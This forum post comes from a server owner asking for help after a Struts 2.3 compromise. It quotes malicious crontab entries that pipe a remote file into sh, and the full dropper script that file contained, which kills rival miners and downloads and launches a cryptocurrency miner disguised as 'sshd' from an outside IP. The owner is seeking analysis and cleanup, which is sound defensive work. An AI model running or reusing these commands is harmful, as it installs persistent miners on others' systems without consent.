Can someone help understand what exactly is being done through this attack. I was using Struts2.3 in Jboss5 environment. I had some crontabs installed, which went missing instead these two lines are seen in crontab.
#*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
#*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
Below is the script found in the logo.jpg file which is got through 'wget' from 91.230.47.40
#!/bin/sh
rm -rf /var/tmp/jmpmxfyhiz.conf
ps auxf|grep -v grep|grep -v xxtyligbex|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jmpmxfyhiz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "xxtyligbex" -e "tmbllmjcex" -e "pclfzagbkh" -e "dqpuewpvxz" -e "gzvcdujihq" -e "bevgesdhbs"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/xxtyligbex.conf
rm -rf /var/tmp/xxtyligbex.conf
curl -o /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
wget -O /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
chmod 777 /var/tmp/sshd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker
else
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker_na
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker_na
fi
chmod +x /var/tmp/sshd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi
Kindly help me to understand what is being done through this. Also help me remove the possibility of any malware being installed in my server. To cover the vulnerability I have moved my projects to Struts 2.5. Still the crontab keeps coming back even if I remove them.
/sbin/nologin
.